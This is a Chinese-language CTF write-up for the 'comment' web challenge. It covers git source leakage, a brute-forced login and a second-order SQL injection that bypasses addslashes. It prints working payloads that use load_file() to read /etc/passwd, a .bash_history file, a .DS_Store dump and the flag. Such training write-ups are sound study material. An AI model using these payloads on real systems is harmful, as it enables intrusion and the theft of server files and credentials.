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前言前言

继续ctf的旅程
开始攻防世界web高手进阶区的7分题
本文是comment的writeup

解题过程解题过程

进来是个留言板

惯例查看源码和御剑扫描

源码没东西，但是控制台有提示
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刚好后台扫到一个.git
估摸着是git泄露
用githack试试（注：githacker报错）

真的有东西

得到write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这。。。。

这没东西啊

大概就是要先登录？



回到原界面

随意发个帖试试

跳转登录界面

瞅着是给了账号，要爆破密码？

试试

简单写个脚本

import os
password="zhangwei"
password1=[]
for i in range(100,1000):
    password1.append(password+str(i))

with open ("./comment_password.txt","w") as f:
    for i in password1:
        f.write(i)
        f.write("\n")
print("finsh")

获取字典

然后bp爆破



密码有了： zhangwei666

成功登录

然后发帖

然后。。

然后哽住了

题目提示说sql
。。。

这没找到可以注入的地方啊

哽住

去查了查wp（链接见最后）
好的

攻防世界坑了

原题是用githacker然后再复原得到完整的php

https://www.cnblogs.com/Tkitn/p/11648456.html


<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

可以看到主要是 addslashes

参考绕过addslashes

后台对输入的参数通过 addslashes()对预定义字符进行转义，加上 \

预定义的字符包括单引号，双引号，反斜杠，NULL

放到数据库后会把转义符 \  去掉（进入数据库后是没有反斜杠的），并存入数据库中

在这个php中

https://bbs.ichunqiu.com/thread-10899-1-1.html


write的时候所有参数进行了转义才放到sql语句中

但是在comment中，对于category的值从数据库取出来没有进行转义，直接拼接到sql insert语句中

这就是注入位置了

于是思路清晰了：

通过发帖，在category中放入payload，存入数据库中

这一过程payload因为对单引号等作了转义，不会被触发

在发帖成功后，在留言comment，调用insert语句时因为没有对数据库取出的category进行转义，直接拼接触发payload

payload

1',content=database(),/*

提交后在留言处输入 */#

返回了数据库名称

注入成功

惯例看了数据库后，看用户

1',content=user(),/*



芜湖起飞，root权限
那直接用 load_file了

先读取系统用户和用户的路径 /etc/passwd

1',content=(select(load_file("/etc/passwd"))),/*

这里有点不知道该读取哪个

查了查

应该找 .bash_history文件：保存了当前用户使用过的历史命令

1',content=(select (load_file('/home/www/.bash_history'))),/*



可以看到

先在/tmp目录下解压压缩包 html.zip，里面有一个 .DS_Store文件

然后删除压缩包

再将html目录复制到/var/www/目录下

切换到/var/www/html，然后删除 .DS_Store

但是并没有删除/tmp/html 目录下的 .DS_Store

查了下

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件

目的在于存贮目录的自定义属性，例如文件们的图标位置或者是背景色的选择

通过.DS_Store可以知道这个目录里面所有文件的清单。

下一步肯定是继续读取 .DS_Store咯

1', content=(select (load_file('/tmp/html/.DS_Store'))),/*

。。。。。。

显示不完全

哽住

大概是太大了？

用16进制显示试试

1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

得到16进制编码如下

00000001427564310000100000000800000010000000040A0000000000000000000000000000000000000000000008000000080000000000
00000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000



0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C
6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F62
00000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF
0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070
496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000
004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC00000098
00000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069
006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E0070
00680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F62
00000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62
000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B0000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000001000000200000000100000040000000010000008000000001
0000010000000001000002000000000100000400000000000000000100001000000000010000200000000001000040000000000100008000
0000000100010000000000010002000000000001000400000000000100080000000000010010000000000001002000000000000100400000
0000000100800000000000010100000000000001020000000000000104000000000000010800000000000001100000000000000120000000
0000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000003000000000000100B000000450000040A000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000



0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000104445344420000000100000000000000
0000000000000000000000000000000002000000200000006000000000000000010000008000000001000001000000000100000200000000
0000000002000008000000180000000000000000010000200000000001000040000000000100008000000000010001000000000001000200
0000000001000400000000000100080000000000010010000000000001002000000000000100400000000000010080000000000001010000
0000000001020000000000000104000000000000010800000000000001100000000000000120000000000000014000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

hex解码

可以看到html文件夹下所有文件的名字
读取flag那个php

1',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*



解码后

得到flag

结果提交不成功！

flag是假的！
哽住

。。。。。。

小问号你是不是有很多小朋友？？？

。。。。。。

。。。。。。

突然想起文件有copy到/var/www/html目录中
尝试到/var/www/html中读取flag

1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

成功得到flag！！

结语结语

攻防世界坑还是多啊

php文件不完整没法玩
更过分的是

攻防世界的官方wp里堂而皇之的用不完整的php做了下去
哎

其他小结如下：

知识点：git泄露、git恢复、密码爆破、代码审计、二次注入

2篇不错的wp：1、2
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